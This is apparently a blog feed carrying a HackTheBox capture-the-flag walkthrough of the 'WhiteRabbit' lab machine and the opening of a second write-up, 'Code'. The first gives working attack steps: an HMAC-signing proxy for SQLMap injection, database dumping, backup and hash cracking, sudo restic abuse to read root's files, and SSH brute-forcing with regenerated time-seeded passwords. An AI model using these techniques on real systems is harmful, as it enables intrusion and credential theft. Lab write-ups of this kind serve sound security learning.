<p><img src="/assets/img/htb-whiterabbit/image.png" alt="Uptime Kuma Status Page" />
<em>Uptime Kuma status monitoring page</em></p>

<p>I did some research on this and found an interesting GitHub issue about Uptime Kuma having a <code class="language-plaintext highlighter-rouge">/status</code> directory. Let’s fuzz for more paths:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ffuf <span class="nt">-ic</span> <span class="nt">-c</span> <span class="nt">-u</span> http://status.whiterabbit.htb/status/FUZZ <span class="nt">-w</span> /opt/SecLists/Discovery/Web-Content/common.txt <span class="nt">-fs</span> 2444
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>temp                    [Status: 200, Size: 3359]
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Found <code class="language-plaintext highlighter-rouge">/status/temp</code>. Let’s check it out.</p>

<p><img src="/assets/img/htb-whiterabbit/image%201.png" alt="Status Temp Page" />
<em>The temp status page showing multiple services</em></p>

<p>This revealed several internal services:</p>
<ul>
  <li>GoPhish</li>
  <li>n8n</li>
  <li>Website</li>
  <li>WikiJS</li>
</ul>

<p>After adding these to our hosts file and visiting the WikiJS endpoint, I found a webhook URL.</p>

<p><img src="/assets/img/htb-whiterabbit/image%202.png" alt="WikiJS Webhook" />
<em>Webhook pointing to another subdomain</em></p>

<p>Following the redirect leads us to an n8n workflow page.</p>

<p><img src="/assets/img/htb-whiterabbit/image%203.png" alt="n8n Page" />
<em>n8n automation workflow interface</em></p>

<hr />

<h2 id="sql-injection-via-hmac-proxy">SQL Injection via HMAC Proxy</h2>

<p>While investigating, I found some interesting POST requests going to a database.</p>

<p><img src="/assets/img/htb-whiterabbit/image%204.png" alt="Database POST Request" />
<em>POST request communicating with a database</em></p>

<p>In the webhook configuration, I found a GoPhish phishing score database JSON file.</p>

<p><img src="/assets/img/htb-whiterabbit/image%205.png" alt="GoPhish JSON" />
<em>GoPhish configuration with sensitive data</em></p>

<p>And here’s the juicy part - an HMAC secret:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nb">cat </span>gophish_to_phishing_score_database.json | <span class="nb">grep </span>secret
        <span class="s2">"secret"</span>: <span class="s2">"3CWVGMndgMvdVAzOjqBiTicmv7gxc6
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="the-hmac-problem">The HMAC Problem</h3>

<p>Here’s the thing: the server uses HMAC signatures to validate requests. All requests must be signed with the secret key, otherwise they get rejected. This means we can’t just fire up SQLMap directly because our payloads won’t be signed.</p>

<p>To solve this, I wrote a Python proxy that intercepts requests, signs them with the HMAC value, and forwards them to the target server:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span><span class="sh">"""</span><span class="s">
HMAC Proxy for GoPhish SQLMap automation
</span><span class="sh">"""</span>

<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">hmac</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">http.server</span> <span class="kn">import</span> <span class="n">HTTPServer</span><span class="p">,</span> <span class="n">BaseHTTPRequestHandler</span>
<span class="kn">import</span> <span class="n">urllib.request</span>
<span class="kn">import</span> <span class="n">urllib.parse</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="k">class</span> <span class="nc">HMACProxyHandler</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span>
    <span class="n">SECRET_KEY</span> <span class="o">=</span> <span class="sh">"</span><span class="s">3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS</span><span class="sh">"</span>
    <span class="n">TARGET_HOST</span> <span class="o">=</span> <span class="sh">"</span><span class="s">28efa8f7df.whiterabbit.htb</span><span class="sh">"</span>

    <span class="k">def</span> <span class="nf">do_POST</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">content_length</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Content-Length</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
        <span class="n">post_data</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">rfile</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">content_length</span><span class="p">)</span>

        <span class="c1"># Generate HMAC signature
</span>        <span class="n">signature</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span>
            <span class="n">self</span><span class="p">.</span><span class="n">SECRET_KEY</span><span class="p">.</span><span class="nf">encode</span><span class="p">(</span><span class="sh">'</span><span class="s">utf-8</span><span class="sh">'</span><span class="p">),</span>
            <span class="n">post_data</span><span class="p">,</span>
            <span class="n">digestmod</span><span class="o">=</span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span>
        <span class="p">).</span><span class="nf">hexdigest</span><span class="p">()</span>

        <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">Content-Type</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Content-Type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">application/json</span><span class="sh">'</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">x-gophish-signature</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">sha256=</span><span class="si">{</span><span class="n">signature</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">User-Agent</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">User-Agent</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sqlmap</span><span class="sh">'</span><span class="p">),</span>
        <span class="p">}</span>

        <span class="k">try</span><span class="p">:</span>
            <span class="n">target_url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">http://</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">TARGET_HOST</span><span class="si">}{</span><span class="n">self</span><span class="p">.</span><span class="n">path</span><span class="si">}</span><span class="sh">"</span>
            <span class="n">req</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nc">Request</span><span class="p">(</span>
                <span class="n">target_url</span><span class="p">,</span>
                <span class="n">data</span><span class="o">=</span><span class="n">post_data</span><span class="p">,</span>
                <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span>
                <span class="n">method</span><span class="o">=</span><span class="sh">'</span><span class="s">POST</span><span class="sh">'</span>
            <span class="p">)</span>

            <span class="k">with</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="nf">urlopen</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">as</span> <span class="n">response</span><span class="p">:</span>
                <span class="n">response_data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
                <span class="n">self</span><span class="p">.</span><span class="nf">send_response</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">getcode</span><span class="p">())</span>
                <span class="k">for</span> <span class="n">header</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="nf">dict</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">).</span><span class="nf">items</span><span class="p">():</span>
                    <span class="k">if</span> <span class="n">header</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">connection</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">transfer-encoding</span><span class="sh">'</span><span class="p">]:</span>
                        <span class="n">self</span><span class="p">.</span><span class="nf">send_header</span><span class="p">(</span><span class="n">header</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
                <span class="n">self</span><span class="p">.</span><span class="nf">end_headers</span><span class="p">()</span>
                <span class="n">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">response_data</span><span class="p">)</span>

        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="nf">send_error</span><span class="p">(</span><span class="mi">500</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">run_proxy</span><span class="p">(</span><span class="n">port</span><span class="o">=</span><span class="mi">8888</span><span class="p">):</span>
    <span class="n">server</span> <span class="o">=</span> <span class="nc">HTTPServer</span><span class="p">((</span><span class="sh">'</span><span class="s">127.0.0.1</span><span class="sh">'</span><span class="p">,</span> <span class="n">port</span><span class="p">),</span> <span class="n">HMACProxyHandler</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">HMAC Proxy running on port </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">server</span><span class="p">.</span><span class="nf">serve_forever</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">run_proxy</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="initial-access">Initial Access</h2>

<h3 id="exploiting-sql-injection">Exploiting SQL Injection</h3>

<p>With the proxy running, we can now use SQLMap:</p>

<p><img src="/assets/img/htb-whiterabbit/image%206.png" alt="HMAC Proxy Running" />
<em>HMAC proxy ready to sign our requests</em></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>sqlmap <span class="nt">-u</span> <span class="s2">"http://127.0.0.1:8888/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"</span> <span class="se">\</span>
  <span class="nt">--method</span> POST <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"campaign_id":2,"email":"test@mail.com","message":"Clicked Link"}'</span> <span class="se">\</span>
  <span class="nt">-p</span> email <span class="nt">--batch</span> <span class="nt">--dump</span> <span class="nt">--level</span><span class="o">=</span>5 <span class="nt">--risk</span><span class="o">=</span>3 <span class="nt">--dbs</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-whiterabbit/image%207.png" alt="SQLMap Databases" />
<em>Found three databases</em></p>

<p>We found three databases: <code class="language-plaintext highlighter-rouge">information_schema</code>, <code class="language-plaintext highlighter-rouge">phishing</code>, and <code class="language-plaintext highlighter-rouge">temp</code>. Let’s dump the temp database:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>sqlmap <span class="nt">-u</span> <span class="s2">"http://127.0.0.1:8888/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"</span> <span class="se">\</span>
  <span class="nt">--method</span> POST <span class="se">\</span>
  <span class="nt">--data</span> <span class="s1">'{"campaign_id":2,"email":"test@mail.com","message":"Clicked Link"}'</span> <span class="se">\</span>
  <span class="nt">-p</span> email <span class="nt">--batch</span> <span class="nt">--dump</span> <span class="nt">--level</span><span class="o">=</span>5 <span class="nt">--risk</span><span class="o">=</span>3 <span class="nt">-D</span> temp
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-whiterabbit/image%208.png" alt="Temp Database" />
<em>Command log from the temp database</em></p>

<p>This gave us a command_log with some interesting entries:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw &gt; .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ &amp;&amp; /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is gold! We have a Restic password and a URL.</p>

<h3 id="restic-backup-enumeration">Restic Backup Enumeration</h3>

<p>Let’s access the Restic snapshots:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nb">export </span><span class="nv">RESTIC_PASSWORD</span><span class="o">=</span>ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
restic <span class="nt">-r</span> rest:http://75951e6ff.whiterabbit.htb snapshots
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-whiterabbit/image%209.png" alt="Restic Snapshots" />
<em>Found Bob’s SSH folder in a snapshot</em></p>

<p>We can restore Bob’s SSH folder:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>restic restore 272cacd5 <span class="nt">--target</span> <span class="nb">.</span> <span class="nt">--path</span> /dev/shm/bob/ssh <span class="nt">-r</span> rest:http://75951e6ff.whiterabbit.htb
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Inside we find a password-protected 7z file. Let’s crack it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>7z2john bob.7z <span class="o">&gt;</span> bob.hash
hashcat bob.hash /usr/share/wordlists/rockyou.txt <span class="nt">-m</span> 11600 <span class="nt">--user</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>$7z$...:1q2w3e4r5t6y
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After extracting with the password <code class="language-plaintext highlighter-rouge">1q2w3e4r5t6y</code>, we get Bob’s SSH private key and config:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Port 2222 is running SSH. Let’s connect:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ssh bob@whiterabbit.htb <span class="nt">-p</span> 2222 <span class="nt">-i</span> id_rsa_bob
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We’re in as bob, but we’re in a Docker container.</p>

<hr />

<h2 id="privilege-escalation">Privilege Escalation</h2>

<h3 id="restic-abuse">Restic Abuse</h3>

<p>Checking sudo permissions:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>bob@ebdce80611e9:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
User bob may run the following commands on ebdce80611e9:
    <span class="o">(</span>ALL<span class="o">)</span> NOPASSWD: /usr/bin/restic
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can run restic as root. Let’s abuse this to backup and extract root’s files:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="c"># Create a local repo</span>
<span class="nb">sudo</span> /usr/bin/restic init <span class="nt">-r</span> <span class="nb">.</span>

<span class="c"># Backup /root</span>
<span class="nb">sudo</span> /usr/bin/restic <span class="nt">-r</span> <span class="nb">.</span> backup /root/

<span class="c"># List the backup</span>
<span class="nb">sudo</span> /usr/bin/restic <span class="nt">-r</span> <span class="nb">.</span> <span class="nb">ls </span>latest

<span class="c"># Dump morpheus SSH key</span>
<span class="nb">sudo </span>restic <span class="nt">-r</span> <span class="nb">.</span> dump latest /root/morpheus
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This gives us Morpheus’s SSH private key. Now we can SSH to the main host as morpheus.</p>

<h3 id="reverse-engineering-the-password-generator">Reverse Engineering the Password Generator</h3>

<p>Remember the command log entry about <code class="language-plaintext highlighter-rouge">neo-password-generator</code>? Let’s download and reverse engineer it.</p>

<p>After analyzing it in Ghidra, the binary:</p>
<ol>
  <li>Uses <code class="language-plaintext highlighter-rouge">gettimeofday</code> to get a timestamp in milliseconds</li>
  <li>Seeds the C <code class="language-plaintext highlighter-rouge">rand()</code> function with this value</li>
  <li>Generates a 20-character password from the charset <code class="language-plaintext highlighter-rouge">a-zA-Z0-9</code></li>
</ol>

<p>From the log, we know neo ran it on <code class="language-plaintext highlighter-rouge">2024-08-30 14:40:42 UTC</code>. I wrote a C script to generate all possible passwords:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">generate_password</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">seed</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">charset</span> <span class="o">=</span> <span class="s">"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">21</span><span class="p">];</span>
    <span class="n">srand</span><span class="p">(</span><span class="n">seed</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">charset</span><span class="p">[</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">62</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="n">password</span><span class="p">[</span><span class="mi">20</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Seed: %u, Password: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">seed</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">base_seed</span> <span class="o">=</span> <span class="mi">1725028842ULL</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">microseconds</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">microseconds</span> <span class="o">&lt;</span> <span class="mi">1000</span><span class="p">;</span> <span class="n">microseconds</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">base_seed</span> <span class="o">+</span> <span class="n">microseconds</span><span class="p">);</span>
        <span class="n">generate_password</span><span class="p">(</span><span class="n">seed</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After generating the wordlist, we brute-force:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>hydra <span class="nt">-l</span> neo <span class="nt">-P</span> passwords_only.txt ssh://whiterabbit.htb <span class="nt">-t</span> 5
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>[22][ssh] host: whiterabbit.htb   login: neo   password: WBSxhWgfnMiclrV4dqfj
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="root-access">Root Access</h3>

<p>Let’s check neo’s privileges:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>neo@whiterabbit:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
User neo may run the following commands on whiterabbit:
    <span class="o">(</span>ALL : ALL<span class="o">)</span> ALL

neo@whiterabbit:~<span class="nv">$ </span><span class="nb">sudo </span>su
root@whiterabbit:/home/neo# <span class="nb">whoami
</span>root
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>Root Flag Captured!</strong></p>
</blockquote>

<hr />

<h2 id="key-takeaways">Key Takeaways</h2>

<h3 id="vulnerabilities-exploited">Vulnerabilities Exploited</h3>

<ol>
  <li><strong>HMAC-Signed SQL Injection</strong>
    <ul>
      <li>Bypassed HMAC validation using a custom proxy</li>
      <li>Extracted sensitive data from the database</li>
    </ul>
  </li>
  <li><strong>Restic Backup Abuse</strong>
    <ul>
      <li>Used sudo permissions to backup and extract root files</li>
      <li>Retrieved SSH keys from backup snapshots</li>
    </ul>
  </li>
  <li><strong>Weak Password Generation</strong>
    <ul>
      <li>Predictable seed (timestamp-based)</li>
      <li>Allowed brute-forcing the password space</li>
    </ul>
  </li>
</ol>

<h3 id="lessons-learned">Lessons Learned</h3>

<blockquote class="prompt-warning">
  <p>Timestamp-based seeding for cryptographic operations is weak. Use proper entropy sources like <code class="language-plaintext highlighter-rouge">/dev/urandom</code>.</p>
</blockquote>

<blockquote class="prompt-danger">
  <p>HMAC validation doesn’t help if the secret is exposed. Keep secrets out of configuration files that may be accessible.</p>
</blockquote>

<hr />

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li><strong>Nmap</strong> - Port scanning</li>
  <li><strong>ffuf</strong> - Subdomain and directory fuzzing</li>
  <li><strong>SQLMap</strong> - SQL injection exploitation</li>
  <li><strong>Hashcat</strong> - Password cracking</li>
  <li><strong>Restic</strong> - Backup enumeration</li>
  <li><strong>Ghidra</strong> - Binary reverse engineering</li>
  <li><strong>Hydra</strong> - SSH brute-forcing</li>
</ul>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>WhiteRabbit was an amazing machine that required creative thinking at every step. The HMAC proxy for SQLi was a fun problem to solve, and the password generator reverse engineering was a nice touch. The Docker escape through Restic abuse showed how backup tools with elevated privileges can be dangerous.</p>

<p><strong>Final Stats:</strong></p>
<ul>
  <li>Time to User: ~3 hours</li>
  <li>Time to Root: ~1 hour</li>
  <li>Difficulty Rating: Insane</li>
</ul>

<p>Thanks for reading! Happy Hacking!</p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Insane" /><category term="htb" /><category term="uptime-kuma" /><category term="sqli" /><category term="hmac" /><category term="restic" /><category term="reverse-engineering" /><category term="docker" /><category term="ssh" /><category term="linux" /><category term="privilege-escalation" /><category term="penetration-testing" /><summary type="html"><![CDATA[Complete walkthrough of HackTheBox WhiteRabbit machine by Wathsala Dewmina (PwnedCake). An Insane-level Linux machine featuring Uptime Kuma enumeration, HMAC-signed SQL injection bypass, Restic backup abuse for privilege escalation, and password generator reverse engineering.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-whiterabbit/image.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-whiterabbit/image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackTheBox - Code Writeup</title><link href="https://pwnedcake.github.io/posts/hackthebox-code-writeup/" rel="alternate" type="text/html" title="HackTheBox - Code Writeup" /><published>2025-03-29T03:52:00+00:00</published><updated>2025-10-24T19:41:25+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-code-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-code-writeup/"><![CDATA[<h2 id="machine-information">Machine Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Machine Name</strong></td>
      <td style="text-align: left">Code</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Easy</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>OS</strong></td>
      <td style="text-align: left">Linux</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>IP Address</strong></td>
      <td style="text-align: left">10.10.11.62</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap-scan">Nmap Scan</h3>

<p>Starting with a comprehensive Nmap scan to identify open ports and running services:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sCV</span> <span class="nt">-T5</span> <span class="nt">--min-rate</span> 2000 <span class="nt">-v</span> <span class="nt">-oN</span> code.nmap <span class="nt">-Pn</span> 10.10.11.62
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Scan Results:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
5000/tcp open  http    Gunicorn 20.0.4
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="key-findings">Key Findings</h3>

<ul>
  <li><strong>SSH (Port 22)</strong>: OpenSSH 8.2p1 running on Ubuntu</li>
  <li><strong>HTTP (Port 5000)</strong>: Gunicorn 20.0.4 hosting a Python web application</li>
  <li><strong>Web Title</strong>: Python Code Editor</li>
</ul>

<hr />

<h2 id="initial-access">Initial Access</h2>

<h3 id="web-application-analysis">Web Application Analysis</h3>

<p>Navigating to <code class="language-plaintext highlighter-rouge">http://10.10.11.62:5000</code> reveals a Python code editor interface. This immediately suggests the application might be processing user-submitted Python code on the server side.</p>

<p><img src="/assets/img/htb-code/code-editor.png" alt="Code Editor Interface" />
<em>Python code editor running on port 5000</em></p>

<h3 id="server-side-template-injection-ssti">Server-Side Template Injection (SSTI)</h3>

<p>While testing the application, I discovered it was using Jinja2’s <code class="language-plaintext highlighter-rouge">render_template_string()</code> to process user input, indicating a potential <strong>SSTI vulnerability</strong>.</p>

<h4 id="confirming-ssti">Confirming SSTI</h4>

<p>Testing with a basic mathematical expression:</p>

